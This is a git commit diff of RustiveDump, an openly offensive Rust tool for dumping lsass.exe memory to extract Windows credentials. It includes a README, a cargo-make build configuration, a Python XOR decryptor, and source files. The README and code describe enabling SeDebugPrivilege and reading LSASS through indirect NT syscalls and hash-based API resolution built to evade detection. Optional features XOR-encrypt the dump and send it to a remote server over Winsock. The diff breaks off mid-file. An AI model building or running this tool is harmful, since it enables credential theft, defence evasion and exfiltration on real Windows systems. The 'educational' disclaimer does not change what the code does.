mirror of
https://github.com/safedv/RustiveDump
synced 2026-06-08 17:19:41 +00:00
first commit
This commit is contained in:
@@ -0,0 +1 @@
|
||||
/target
|
||||
Generated
+25
@@ -0,0 +1,25 @@
|
||||
# This file is automatically @generated by Cargo.
|
||||
# It is not intended for manual editing.
|
||||
version = 3
|
||||
|
||||
[[package]]
|
||||
name = "RustiveDump"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"libc-print",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "libc"
|
||||
version = "0.2.159"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "561d97a539a36e26a9a5fad1ea11a3039a67714694aaa379433e580854bc3dc5"
|
||||
|
||||
[[package]]
|
||||
name = "libc-print"
|
||||
version = "0.1.23"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "a4a660208db49e35faf57b37484350f1a61072f2a5becf0592af6015d9ddd4b0"
|
||||
dependencies = [
|
||||
"libc",
|
||||
]
|
||||
+23
@@ -0,0 +1,23 @@
|
||||
[package]
|
||||
name = "RustiveDump"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
authors = ["safedv"]
|
||||
|
||||
[dependencies]
|
||||
libc-print = { version = "0.1.23", optional = true }
|
||||
|
||||
[profile.dev]
|
||||
panic = "abort"
|
||||
|
||||
[profile.release]
|
||||
panic = "abort"
|
||||
opt-level = "s"
|
||||
lto = true
|
||||
|
||||
[features]
|
||||
default = []
|
||||
xor = []
|
||||
remote = []
|
||||
lsasrv = []
|
||||
verbose = ["dep:libc-print"]
|
||||
@@ -0,0 +1,32 @@
|
||||
[config]
|
||||
skip_core_tasks = true
|
||||
|
||||
[env]
|
||||
TARGET = "x86_64-pc-windows-gnu"
|
||||
RUSTFLAGS = "-C link-arg=-nostdlib -C link-arg=-Wl,--gc-sections -C link-arg=-Wl,--subsystem,console -C link-arg=-nostartfiles -C link-arg=-Wl,-e_start"
|
||||
FEATURES = ""
|
||||
|
||||
[tasks.default]
|
||||
description = "Default task that builds the project."
|
||||
dependencies = ["build"]
|
||||
|
||||
[tasks.build]
|
||||
description = "Cleans, builds, and strips the project."
|
||||
dependencies = ["clean", "cargo-build", "strip"]
|
||||
|
||||
[tasks.clean]
|
||||
description = "Cleans the project and removes the binary file."
|
||||
script = [
|
||||
"cargo clean",
|
||||
]
|
||||
|
||||
[tasks.cargo-build]
|
||||
description = "Build the project using cargo with custom rustflags and features."
|
||||
command = "cargo"
|
||||
args = ["build", "--release", "--target", "${TARGET}", "--features", "${FEATURES}"]
|
||||
env = { "RUSTFLAGS" = "${RUSTFLAGS}" }
|
||||
|
||||
[tasks.strip]
|
||||
description = "Strips unnecessary sections from the binary."
|
||||
command = "strip"
|
||||
args = ["-s", "--strip-unneeded", "-x", "-X", "target/x86_64-pc-windows-gnu/release/RustiveDump.exe"]
|
||||
@@ -0,0 +1,99 @@
|
||||
## **RustiveDump**
|
||||
|
||||
**RustiveDump** is a Rust-based tool designed to dump the memory of the **lsass.exe** process using **only NT system calls**.
|
||||
|
||||
It creates a minimal minidump file from scratch, containing essential components like **SystemInfo**, **ModuleList**, and **Memory64List**, with support for **XOR encryption** and **remote transmission**.
|
||||
|
||||
This project is a personal learning experience, focusing on leveraging native Windows APIs for memory dumping and building a minimalistic minidump file entirely from the ground up.
|
||||
|
||||
## **Key Features**
|
||||
|
||||
1. **NT System Calls for Everything**
|
||||
RustiveDump bypasses standard APIs and leverages NT system calls for all its operations.
|
||||
|
||||
2. **No-Std and CRT-Independent**:
|
||||
RustiveDump is built using Rust's `no_std` feature, which removes reliance on Rust's standard library, and it's also **CRT library independent**. This resulting in a lean release build of only **18KB**.
|
||||
|
||||
3. **Indirect NT Syscalls**:
|
||||
The tool uses indirect syscalls, retrieving system service numbers (SSN) with techniques like **Hell’s Gate**, **Halo's Gate**, and **Tartarus' Gate**.
|
||||
|
||||
4. **Lean Memory Dump**:
|
||||
RustiveDump generates a focused memory dump, containing only essential data (i.e., **SystemInfo**, **ModuleList**, and **Memory64List**), ensuring no bloated files—just enough to feed your memory analysis tools like **Mimikatz** or **Pypykatz**.
|
||||
|
||||
5. **XOR Encryption**:
|
||||
RustiveDump can encrypt the dump file using XOR before saving or transmitting it, adding an extra layer of security to the dumped memory.
|
||||
|
||||
6. **Remote File Transmission**:
|
||||
The dump file can be sent directly to a remote server using **winsock** APIs calls
|
||||
|
||||
7. **Verbose Mode**:
|
||||
The verbose mode provides detailed logs of each step, which can be enabled during the build process.
|
||||
|
||||
## **How it works**
|
||||
|
||||
1. **Enable SeDebugPrivilege**:
|
||||
RustiveDump uses `NtOpenProcessToken` and `NtAdjustPrivilegesToken` to enable **SeDebugPrivilege**, allowing access to protected processes like **lsass.exe**.
|
||||
|
||||
2. **LSASS Process Access**:
|
||||
The tool locates the **lsass.exe** process by querying `NtQuerySystemInformation` to get a snapshot of active processes, and then opens a process handle using `NtOpenProcess` with the `PROCESS_QUERY_INFORMATION` and `PROCESS_VM_READ` access rights.
|
||||
|
||||
3. **Memory Regions Handling**:
|
||||
RustiveDump scans through the memory regions of the process using `NtQueryVirtualMemory` and dumps committed and accessible memory using `NtReadVirtualMemory`.
|
||||
|
||||
4. **Module Information**:
|
||||
RustiveDump retrieves a list of modules loaded by **lsass.exe** using `NtQueryInformationProcess` to extract the **ModuleList** from the remote PEB (Process Environment Block).
|
||||
|
||||
5. **Memory Dump Creation**:
|
||||
The dump is saved locally using `NtCreateFile` and `NtWriteFile`, or sent to a remote server. If desired, the dump can also be encrypted with XOR before being saved or transmitted.
|
||||
|
||||
## **Build**
|
||||
|
||||
RustiveDump offers several configurable build options through **cargo make** to customize the behavior of the tool. You can enable features like **XOR encryption**, **remote file transmission** and **verbose logging**.
|
||||
|
||||
**Available Features:**
|
||||
|
||||
- **xor**: Encrypts the dump file using XOR encryption.
|
||||
- **verbose**: Enables detailed logs for each step of the process.
|
||||
- **remote**: Sends the dump file to a remote server via Winsock.
|
||||
- **lsasrv**: Filters the memory dump to include only the `lsasrv.dll` module from **lsass.exe**.
|
||||
|
||||
### **Build Options**
|
||||
|
||||
To build RustiveDump with different combinations of features, use the following commands:
|
||||
|
||||
- **Basic build** (save dump locally without additional features):
|
||||
|
||||
```bash
|
||||
cargo make
|
||||
```
|
||||
|
||||
- **Build with specific features**
|
||||
```bash
|
||||
cargo make --env FEATURES=xor,remote,lsasrv,verbose
|
||||
```
|
||||
|
||||
## **Memory Dump File Structure**
|
||||
|
||||
RustiveDump generates a minimalistic minidump file, including only the essential components for tools like **Mimikatz** and **Pypykatz**. The file consists of three core streams:
|
||||
|
||||
1. **SystemInfo Stream**: OS version and architecture details.
|
||||
2. **ModuleList Stream**: Lists modules loaded in **lsass.exe**.
|
||||
3. **Memory64List Stream**: Memory regions from **lsass.exe**.
|
||||
|
||||
For more details on the Minidump file structure, see: [Minidump (MDMP) format documentation](<https://github.com/libyal/libmdmp/blob/main/documentation/Minidump%20(MDMP)%20format.asciidoc>).
|
||||
|
||||
## Disclaimer
|
||||
|
||||
This project is intended **for educational and research purposes only**. RustiveDump is a minimalist memory dumper built for learning purposes. Use it responsibly, and remember, if you misuse it, that’s on you—not me!
|
||||
|
||||
Always follow ethical guidelines and legal frameworks when doing security research (and, you know, just in general).
|
||||
|
||||
## **Credits**
|
||||
|
||||
- Inspired by [NativeDump](https://github.com/ricardojoserf/NativeDump). Thanks to the author for sharing their work.
|
||||
|
||||
## **Contributions**
|
||||
|
||||
Contributions are welcome! If you want to help improve RustiveDump or report bugs, feel free to open an issue or a pull request in the repository.
|
||||
|
||||
---
|
||||
@@ -0,0 +1,55 @@
|
||||
import sys
|
||||
|
||||
|
||||
def decrypt_file(input_path, output_path, key):
|
||||
"""
|
||||
Reads the content of an encrypted file, applies XOR to decrypt the data,
|
||||
and saves it to a new file.
|
||||
|
||||
Args:
|
||||
input_path (str): Path to the encrypted file.
|
||||
output_path (str): Path to save the decrypted file.
|
||||
key (hex): The XOR key (hex) used for decryption.
|
||||
|
||||
Returns:
|
||||
None
|
||||
"""
|
||||
try:
|
||||
# Read the encrypted file data
|
||||
with open(input_path, 'rb') as encrypted_file:
|
||||
encrypted_data = encrypted_file.read()
|
||||
|
||||
# Apply XOR to decrypt the data
|
||||
decrypted_data = bytes([byte ^ key for byte in encrypted_data])
|
||||
|
||||
# Write the decrypted data to the output file
|
||||
with open(output_path, 'wb') as decrypted_file:
|
||||
decrypted_file.write(decrypted_data)
|
||||
|
||||
print(f"File decrypted successfully! Saved to {output_path}")
|
||||
|
||||
except Exception as e:
|
||||
print(f"Error decrypting file: {e}")
|
||||
|
||||
|
||||
def main():
|
||||
# Parse command line arguments
|
||||
if len(sys.argv) < 3:
|
||||
print(f"Usage: {sys.argv[0]} <input_file> <hex key> [output_file]")
|
||||
sys.exit(1)
|
||||
|
||||
# Get the input file path
|
||||
input_file_path = sys.argv[1]
|
||||
|
||||
# Convert the XOR key from hexadecimal string to int
|
||||
xor_key = int(sys.argv[2], 16)
|
||||
|
||||
# Optionally get the output file path, default to "clear_output.dmp"
|
||||
output_file_path = sys.argv[3] if len(sys.argv) > 3 else "out.dmp"
|
||||
|
||||
# Perform decryption
|
||||
decrypt_file(input_file_path, output_file_path, xor_key)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,110 @@
|
||||
/// Sets the first `n` bytes of the block of memory pointed to by `s`
|
||||
/// to the specified value `c` (interpreted as an unsigned char).
|
||||
///
|
||||
/// # Parameters
|
||||
/// - `s`: A pointer to the block of memory to fill.
|
||||
/// - `c`: The value to be set. Only the lower 8 bits of `c` are used.
|
||||
/// - `n`: The number of bytes to be set to the value.
|
||||
///
|
||||
/// # Returns
|
||||
/// A pointer to the memory area `s`.
|
||||
#[no_mangle]
|
||||
pub extern "C" fn memset(s: *mut u8, c: i32, n: usize) -> *mut u8 {
|
||||
for i in 0..n {
|
||||
unsafe { *s.add(i) = c as u8 };
|
||||
}
|
||||
s
|
||||
}
|
||||
|
||||
/// Copies `n` bytes from memory area `src` to memory area `dest`.
|
||||
/// The memory areas must not overlap.
|
||||
///
|
||||
/// # Parameters
|
||||
/// - `dest`: A pointer to the destination array where the content is to be copied.
|
||||
/// - `src`: A pointer to the source of data to be copied.
|
||||
/// - `n`: The number of bytes to copy.
|
||||
///
|
||||
/// # Returns
|
||||
/// A pointer to the destination `dest`.
|
||||
#[no_mangle]
|
||||
pub extern "C" fn memcpy(dest: *mut u8, src: *const u8, n: usize) -> *mut u8 {
|
||||
for i in 0..n {
|
||||
unsafe {
|
||||
*dest.add(i) = *src.add(i);
|
||||
}
|
||||
}
|
||||
dest
|
||||
}
|
||||
|
||||
/// Copies `n` bytes from memory area `src` to memory area `dest`.
|
||||
/// The memory areas may overlap.
|
||||
///
|
||||
/// # Parameters
|
||||
/// - `dest`: A pointer to the destination array where the content is to be copied.
|
||||
/// - `src`: A pointer to the source of data to be copied.
|
||||
/// - `n`: The number of bytes to copy.
|
||||
///
|
||||
/// # Returns
|
||||
/// A pointer to the destination `dest`.
|
||||
#[no_mangle]
|
||||
pub extern "C" fn memmove(dest: *mut u8, src: *const u8, n: usize) -> *mut u8 {
|
||||
if src < dest as *const u8 {
|
||||
for i in (0..n).rev() {
|
||||
unsafe {
|
||||
*dest.add(i) = *src.add(i);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
for i in 0..n {
|
||||
unsafe {
|
||||
*dest.add(i) = *src.add(i);
|
||||
}
|
||||
}
|
||||
}
|
||||
dest
|
||||
}
|
||||
|
||||
/// Compares the first `n` bytes of the memory areas `s1` and `s2`.
|
||||
///
|
||||
/// # Parameters
|
||||
/// - `s1`: A pointer to the first memory area.
|
||||
/// - `s2`: A pointer to the second memory area.
|
||||
/// - `n`: The number of bytes to compare.
|
||||
///
|
||||
/// # Returns
|
||||
/// An integer less than, equal to, or greater than zero if the first `n` bytes of `s1`
|
||||
/// is found, respectively, to be less than, to match, or be greater than the first `n` bytes of `s2`.
|
||||
#[no_mangle]
|
||||
pub extern "C" fn memcmp(s1: *const u8, s2: *const u8, n: usize) -> i32 {
|
||||
for i in 0..n {
|
||||
let a = unsafe { *s1.add(i) };
|
||||
let b = unsafe { *s2.add(i) };
|
||||
if a != b {
|
||||
return a as i32 - b as i32;
|
||||
}
|
||||
}
|
||||
0
|
||||
}
|
||||
|
||||
/// Computes the length of the string `s`, excluding the terminating null byte.
|
||||
///
|
||||
/// # Parameters
|
||||
/// - `s`: A pointer to the null-terminated byte string to be examined.
|
||||
///
|
||||
/// # Returns
|
||||
/// The number of bytes in the string pointed to by `s`, excluding the terminating null byte.
|
||||
#[no_mangle]
|
||||
pub extern "C" fn strlen(s: *const u8) -> usize {
|
||||
let mut count = 0;
|
||||
unsafe {
|
||||
while *s.add(count) != 0 {
|
||||
count += 1;
|
||||
}
|
||||
}
|
||||
count
|
||||
}
|
||||
|
||||
/// A static variable required by some environments to indicate floating-point usage.
|
||||
/// This is a placeholder to ensure compatibility.
|
||||
#[export_name = "_fltused"]
|
||||
static _FLTUSED: i32 = 0;
|
||||
@@ -0,0 +1,93 @@
|
||||
use core::ffi::c_void;
|
||||
use core::{
|
||||
cell::UnsafeCell,
|
||||
ptr::null_mut,
|
||||
sync::atomic::{AtomicBool, Ordering},
|
||||
};
|
||||
|
||||
use super::ldrapi::{ldr_function, ldr_module};
|
||||
|
||||
pub type WriteFile = unsafe extern "system" fn(
|
||||
hFile: *mut c_void,
|
||||
lpBuffer: *const u8,
|
||||
nNumberOfBytesToWrite: u32,
|
||||
lpNumberOfBytesWritten: *mut u32,
|
||||
lpOverlapped: *mut c_void,
|
||||
) -> i32;
|
||||
|
||||
#[repr(C)]
|
||||
pub struct K32 {
|
||||
pub write_file: WriteFile,
|
||||
}
|
||||
|
||||
impl K32 {
|
||||
pub fn new() -> Self {
|
||||
K32 {
|
||||
write_file: unsafe { core::mem::transmute(null_mut::<c_void>()) },
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static INIT_K32: AtomicBool = AtomicBool::new(false);
|
||||
|
||||
pub static mut K32_G: UnsafeCell<Option<K32>> = UnsafeCell::new(None);
|
||||
|
||||
pub unsafe fn k32() -> &'static K32 {
|
||||
ensure_initialized();
|
||||
return K32_G.get().as_ref().unwrap().as_ref().unwrap();
|
||||
}
|
||||
|
||||
/// Function to ensure that initialization is performed if it hasn't been already.
|
||||
fn ensure_initialized() {
|
||||
unsafe {
|
||||
if !INIT_K32.load(Ordering::Acquire) {
|
||||
init_k32();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
unsafe fn init_k32() {
|
||||
if !INIT_K32.load(Ordering::Acquire) {
|
||||
let mut k32 = K32::new();
|
||||
|
||||
// Resolve the base address of `kernel32.dll` using its hash (0x6ddb9555).
|
||||
let kernel32_base = ldr_module(0x6ddb9555);
|
||||
|
||||
// Resolve the address of `WriteFile` function from `kernel32.dll` using its hash (0xf1d207d0).
|
||||
let k_write_file_addr = ldr_function(kernel32_base, 0xf1d207d0);
|
||||
|
||||
// Cast the resolved address to a callable function of type `WriteFile`.
|
||||
k32.write_file = core::mem::transmute(k_write_file_addr);
|
||||
|
||||
*K32_G.get() = Some(k32);
|
||||
|
||||
INIT_K32.store(true, Ordering::Release);
|
||||
}
|
||||
}
|
||||
/// Global mutable instance of the agent.
|
||||
|
||||
/// Implements a low-level `_write` function that writes data to a file descriptor (typically `stdout` or `stderr`).
|
||||
/// This function resolves the `WriteFile` function from `kernel32.dll` and uses it to perform the actual write.
|
||||
#[no_mangle]
|
||||
extern "C" fn _write(_fd: i32, buf: *const u8, count: usize) -> isize {
|
||||
unsafe {
|
||||
let mut written: u32 = 0; // Variable to store the number of bytes written.
|
||||
let handle = -11i32 as u32; // File handle for `stdout` or `stderr` (often -11 represents `stdout` on Windows).
|
||||
|
||||
// Call `WriteFile` with the handle, buffer, and count of bytes to write.
|
||||
let ntstatus = (k32().write_file)(
|
||||
handle as *mut c_void, // File handle
|
||||
buf, // Buffer containing the data to write
|
||||
count as u32, // Number of bytes to write
|
||||
&mut written, // Pointer to the variable that will receive the number of bytes written
|
||||
core::ptr::null_mut(), // No overlapped structure
|
||||
);
|
||||
|
||||
// Return the number of bytes written or an error code (if `ntstatus` is negative).
|
||||
if ntstatus < 0 {
|
||||
ntstatus as isize
|
||||
} else {
|
||||
written as isize
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,128 @@
|
||||
use super::utils::{dbj2_hash, get_cstr_len};
|
||||
|
||||
use crate::ntapi::def::{
|
||||
find_peb, ImageDosHeader, ImageExportDirectory, ImageNtHeaders, LoaderDataTableEntry,
|
||||
PebLoaderData, IMAGE_DOS_SIGNATURE, IMAGE_NT_SIGNATURE,
|
||||
};
|
||||
|
||||
use core::ptr::null_mut;
|
||||
|
||||
/// Retrieves the NT headers from the base address of a module.
|
||||
///
|
||||
/// # Arguments
|
||||
/// * `base_addr` - The base address of the module.
|
||||
///
|
||||
/// Returns a pointer to `ImageNtHeaders` or null if the headers are invalid.
|
||||
#[cfg(target_arch = "x86_64")]
|
||||
pub unsafe fn get_nt_headers(base_addr: *mut u8) -> *mut ImageNtHeaders {
|
||||
let dos_header = base_addr as *mut ImageDosHeader;
|
||||
|
||||
// Check if the DOS signature is valid (MZ)
|
||||
if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE {
|
||||
return null_mut();
|
||||
}
|
||||
|
||||
// Calculate the address of NT headers
|
||||
let nt_headers = (base_addr as isize + (*dos_header).e_lfanew as isize) as *mut ImageNtHeaders;
|
||||
|
||||
// Check if the NT signature is valid (PE\0\0)
|
||||
if (*nt_headers).signature != IMAGE_NT_SIGNATURE as _ {
|
||||
return null_mut();
|
||||
}
|
||||
|
||||
nt_headers
|
||||
}
|
||||
|
||||
/// Finds and returns the base address of a module by its hash.
|
||||
///
|
||||
/// # Arguments
|
||||
/// * `module_hash` - The hash of the module name to locate.
|
||||
///
|
||||
/// Returns the base address of the module or null if not found.
|
||||
pub unsafe fn ldr_module(module_hash: u32) -> *mut u8 {
|
||||
let peb = find_peb(); // Retrieve the PEB (Process Environment Block)
|
||||
|
||||
if peb.is_null() {
|
||||
return null_mut();
|
||||
}
|
||||
|
||||
let peb_ldr_data_ptr = (*peb).loader_data as *mut PebLoaderData;
|
||||
if peb_ldr_data_ptr.is_null() {
|
||||
return null_mut();
|
||||
}
|
||||
|
||||
// Start with the first module in the InLoadOrderModuleList
|
||||
let mut module_list =
|
||||
(*peb_ldr_data_ptr).in_load_order_module_list.flink as *mut LoaderDataTableEntry;
|
||||
|
||||
// Iterate through the list of loaded modules
|
||||
while !(*module_list).dll_base.is_null() {
|
||||
let dll_buffer_ptr = (*module_list).base_dll_name.buffer;
|
||||
let dll_length = (*module_list).base_dll_name.length as usize;
|
||||
|
||||
// Create a slice from the DLL name
|
||||
let dll_name_slice = core::slice::from_raw_parts(dll_buffer_ptr as *const u8, dll_length);
|
||||
|
||||
// Compare the hash of the DLL name with the provided hash
|
||||
if module_hash == dbj2_hash(dll_name_slice) {
|
||||
return (*module_list).dll_base as _; // Return the base address of the module if the hash matches
|
||||
}
|
||||
|
||||
// Move to the next module in the list
|
||||
module_list = (*module_list).in_load_order_links.flink as *mut LoaderDataTableEntry;
|
||||
}
|
||||
|
||||
null_mut() // Return null if no matching module is found
|
||||
}
|
||||
|
||||
/// Finds a function by its hash from the export directory of a module.
|
||||
///
|
||||
/// # Arguments
|
||||
/// * `module_base` - The base address of the module.
|
||||
/// * `function_hash` - The hash of the function name to locate.
|
||||
///
|
||||
/// Returns the function's address or null if not found.
|
||||
pub unsafe fn ldr_function(module_base: *mut u8, function_hash: usize) -> *mut u8 {
|
||||
let p_img_nt_headers = get_nt_headers(module_base); // Retrieve NT headers for the module
|
||||
|
||||
if p_img_nt_headers.is_null() {
|
||||
return null_mut();
|
||||
}
|
||||
|
||||
// Get the export directory from the NT headers
|
||||
let data_directory = &(*p_img_nt_headers).optional_header.data_directory[0]; // Assuming IMAGE_DIRECTORY_ENTRY_EXPORT is 0
|
||||
let export_directory =
|
||||
(module_base.offset(data_directory.virtual_address as isize)) as *mut ImageExportDirectory;
|
||||
if export_directory.is_null() {
|
||||
return null_mut();
|
||||
}
|
||||
|
||||
let number_of_functions = (*export_directory).number_of_functions;
|
||||
let array_of_names =
|
||||
module_base.offset((*export_directory).address_of_names as isize) as *const u32;
|
||||
let array_of_addresses =
|
||||
module_base.offset((*export_directory).address_of_functions as isize) as *const u32;
|
||||
let array_of_ordinals =
|
||||
module_base.offset((*export_directory).address_of_name_ordinals as isize) as *const u16;
|
||||
|
||||
// Create slices from the export directory arrays
|
||||
let names = core::slice::from_raw_parts(array_of_names, number_of_functions as _);
|
||||
let functions = core::slice::from_raw_parts(array_of_addresses, number_of_functions as _);
|
||||
let ordinals = core::slice::from_raw_parts(array_of_ordinals, number_of_functions as _);
|
||||
|
||||
// Iterate through the export names to find the function matching the given hash
|
||||
for i in 0..number_of_functions {
|
||||
let name_addr = module_base.offset(names[i as usize] as isize) as *const i8;
|
||||
let name_len = get_cstr_len(name_addr as _); // Get the length of the function name
|
||||
let name_slice: &[u8] = core::slice::from_raw_parts(name_addr as _, name_len);
|
||||
|
||||
// Compare the hash of the function name with the provided hash
|
||||
if function_hash as u32 == dbj2_hash(name_slice) {
|
||||
// Retrieve the function's address by its ordinal
|
||||
let ordinal = ordinals[i as usize] as usize;
|
||||
return module_base.offset(functions[ordinal] as isize) as *mut u8;
|
||||
}
|
||||
}
|
||||
|
||||
null_mut() // Return null if the function is not found
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
pub mod crtapi;
|
||||
pub mod ldrapi;
|
||||
pub mod utils;
|
||||
|
||||
#[cfg(feature = "verbose")]
|
||||
pub mod debug;
|
||||
|
||||
#[cfg(feature = "xor")]
|
||||
pub mod xor;
|
||||
@@ -0,0 +1,90 @@
|
||||
#[cfg(not(feature = "remote"))]
|
||||
use alloc::string::String;
|
||||
|
||||
#[cfg(not(feature = "remote"))]
|
||||
use crate::ntapi::def::UnicodeString;
|
||||
|
||||
/// Computes the DJB2 hash for the given buffer
|
||||
pub fn dbj2_hash(buffer: &[u8]) -> u32 {
|
||||
let mut hsh: u32 = 5381;
|
||||
let mut iter: usize = 0;
|
||||
let mut cur: u8;
|
||||
|
||||
while iter < buffer.len() {
|
||||
cur = buffer[iter];
|
||||
|
||||
if cur == 0 {
|
||||
iter += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
if cur >= ('a' as u8) {
|
||||
cur -= 0x20;
|
||||
}
|
||||
|
||||
hsh = ((hsh << 5).wrapping_add(hsh)) + cur as u32;
|
||||
iter += 1;
|
||||
}
|
||||
hsh
|
||||
}
|
||||
|
||||
/// Calculates the length of a C-style null-terminated string.
|
||||
pub fn get_cstr_len(pointer: *const char) -> usize {
|
||||
let mut tmp: u64 = pointer as u64;
|
||||
|
||||
unsafe {
|
||||
while *(tmp as *const u8) != 0 {
|
||||
tmp += 1;
|
||||
}
|
||||
}
|
||||
|
||||
(tmp - pointer as u64) as _
|
||||
}
|
||||
|
||||
pub fn string_length_w(string: *const u16) -> usize {
|
||||
unsafe {
|
||||
let mut string2 = string;
|
||||
while !(*string2).is_null() {
|
||||
string2 = string2.add(1);
|
||||
}
|
||||
string2.offset_from(string) as usize
|
||||
}
|
||||
}
|
||||
|
||||
// Utility function for checking null terminator for u8 and u16
|
||||
trait IsNull {
|
||||
fn is_null(&self) -> bool;
|
||||
}
|
||||
|
||||
impl IsNull for u16 {
|
||||
fn is_null(&self) -> bool {
|
||||
*self == 0
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(not(feature = "remote"))]
|
||||
pub fn unicodestring_to_string(unicode_string: &UnicodeString) -> Option<String> {
|
||||
if unicode_string.length == 0 || unicode_string.buffer.is_null() {
|
||||
return None;
|
||||
}
|
||||
|
||||
let slice = unsafe {
|
||||
core::slice::from_raw_parts(unicode_string.buffer, (unicode_string.length / 2) as usize)
|
||||
};
|
||||
|
||||
String::from_utf16(slice).ok()
|
||||
}
|
||||
|
||||
#[cfg(feature = "verbose")]
|
||||
#[macro_export]
|
||||
macro_rules! debug_println {
|
||||
($($arg:tt)*) => ({
|
||||
libc_println!($($arg)*);
|
||||
});
|
||||
}
|
||||
|
||||
#[cfg(not(feature = "verbose"))]
|
||||
#[macro_export]
|
||||
macro_rules! debug_println {
|
||||
($($arg:tt)*) => {};
|
||||
}
|
||||
@@ -0,0 +1,6 @@
|
||||
use alloc::vec::Vec;
|
||||
|
||||
/// Performs XOR operation on a Vec<u8> using a given key (u8).
|
||||
pub fn xor_bytes(data: Vec<u8>, key: u8) -> Vec<u8> {
|
||||
data.into_iter().map(|byte| byte ^ key).collect()
|
||||
}
|
||||
+108
@@ -0,0 +1,108 @@
|
||||
#[cfg(feature = "verbose")]
|
||||
use libc_print::libc_println;
|
||||
|
||||
use core::ffi::c_void;
|
||||
|
||||
use alloc::{
|
||||
string::{String, ToString},
|
||||
vec::Vec,
|
||||
};
|
||||
|
||||
use crate::{
|
||||
debug_println,
|
||||
mdfile::{MemoryRegion, ModuleInfo},
|
||||
ntapi::{
|
||||
def::{MEM_COMMIT, PAGE_NOACCESS},
|
||||
memory::{query_memory_info, read_memory},
|
||||
},
|
||||
};
|
||||
|
||||
/// Traverses and dumps the memory regions of a process, storing the memory regions and the memory dump.
|
||||
///
|
||||
/// This function iterates through the memory space of a process, queries memory information,
|
||||
/// reads the memory, and dumps it into the provided vectors.
|
||||
pub unsafe fn dump_memory_regions(
|
||||
process_handle: *mut c_void,
|
||||
module_info_list: &mut Vec<ModuleInfo>,
|
||||
memory64list: &mut Vec<MemoryRegion>,
|
||||
memory_regions: &mut Vec<u8>,
|
||||
) {
|
||||
// Initialize variables for memory region traversal and dumping.
|
||||
let mut memory_address: usize = 0; // Start memory address for dumping.
|
||||
let max_memory_address: usize = 0x7FFF_FFFE_FFFF; // The maximum user-mode address.
|
||||
let mut tmp_module_base_name = String::new(); // Auxiliary variable to store the module's base name.
|
||||
let mut tmp_memory_region_size = 0usize; // To track the size of the memory regions.
|
||||
|
||||
// Loop through the process's memory space until the maximum address is reached.
|
||||
while memory_address < max_memory_address {
|
||||
// Query information about the current memory region.
|
||||
if let Some(memory_info) = query_memory_info(process_handle, memory_address as *mut c_void)
|
||||
{
|
||||
// Check if the memory region is committed and accessible.
|
||||
if memory_info.protect != PAGE_NOACCESS && memory_info.state == MEM_COMMIT {
|
||||
// Try to match the current region with known modules based on their base addresses.
|
||||
let matching_object = module_info_list
|
||||
.iter_mut()
|
||||
.find(|obj| obj.base_name == tmp_module_base_name);
|
||||
|
||||
// If the region size is 0x1000 and does not match a module, update the module info.
|
||||
if memory_info.region_size == 0x1000
|
||||
&& memory_info.base_address as usize
|
||||
!= matching_object
|
||||
.as_ref()
|
||||
.map(|obj| obj.base_address)
|
||||
.unwrap_or(0)
|
||||
{
|
||||
// If a module was found, update its region size.
|
||||
if let Some(module) = matching_object {
|
||||
module.region_size = tmp_memory_region_size;
|
||||
}
|
||||
|
||||
// Update auxiliary name and size based on the current memory region.
|
||||
tmp_module_base_name = module_info_list
|
||||
.iter()
|
||||
.find(|module| module.base_address == memory_info.base_address as usize)
|
||||
.map(|module| module.base_name.clone())
|
||||
.unwrap_or_else(|| "Unknown".to_string());
|
||||
tmp_memory_region_size = memory_info.region_size as usize;
|
||||
} else {
|
||||
// Accumulate the region size.
|
||||
tmp_memory_region_size += memory_info.region_size as usize;
|
||||
}
|
||||
|
||||
// Read the memory region if it's valid and dump it.
|
||||
if let Some(buffer) = read_memory(
|
||||
process_handle as *mut c_void,
|
||||
memory_info.base_address as *mut c_void,
|
||||
memory_info.region_size as usize,
|
||||
) {
|
||||
// Append the read memory region to the dump.
|
||||
memory_regions.extend_from_slice(&buffer);
|
||||
// Add the memory region to the list of dumped regions.
|
||||
memory64list.push(MemoryRegion {
|
||||
base_address: memory_address,
|
||||
region_size: memory_info.region_size as usize,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
// Move to the next memory region by incrementing the memory address.
|
||||
memory_address += memory_info.region_size as usize;
|
||||
} else {
|
||||
// If querying the memory fails, print an error message and break out of the loop.
|
||||
debug_println!(
|
||||
"[-] Failed to query memory at address: 0x{:X}",
|
||||
memory_address
|
||||
);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Update the region size of the last matched module.
|
||||
if let Some(module) = module_info_list
|
||||
.iter_mut()
|
||||
.find(|module| module.base_name == tmp_module_base_name)
|
||||
{
|
||||
module.region_size = tmp_memory_region_size;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,76 @@
|
||||
use alloc::vec::Vec;
|
||||
use core::ffi::c_void;
|
||||
|
||||
use crate::{
|
||||
dump::dump_memory_regions,
|
||||
mdfile::{MemoryRegion, ModuleInfo},
|
||||
ntapi::{
|
||||
def::{PROCESS_QUERY_INFORMATION, PROCESS_VM_READ},
|
||||
memory::get_modules_info,
|
||||
privilege::enable_se_debug_privilege,
|
||||
process::get_process_handle_by_name,
|
||||
},
|
||||
};
|
||||
|
||||
#[cfg(not(feature = "remote"))]
|
||||
use crate::ntapi::file::save_file;
|
||||
|
||||
#[cfg(feature = "remote")]
|
||||
use crate::remote::winsock::send_file;
|
||||
|
||||
/// Enables SeDebugPrivilege for the process.
|
||||
/// This is necessary to access system processes like `lsass.exe`.
|
||||
pub fn initialize_privileges() -> i32 {
|
||||
unsafe { enable_se_debug_privilege() }
|
||||
}
|
||||
|
||||
/// Retrieves a handle to the `lsass.exe` process using its DBJ2 hash.
|
||||
/// Returns a handle to the process if successful.
|
||||
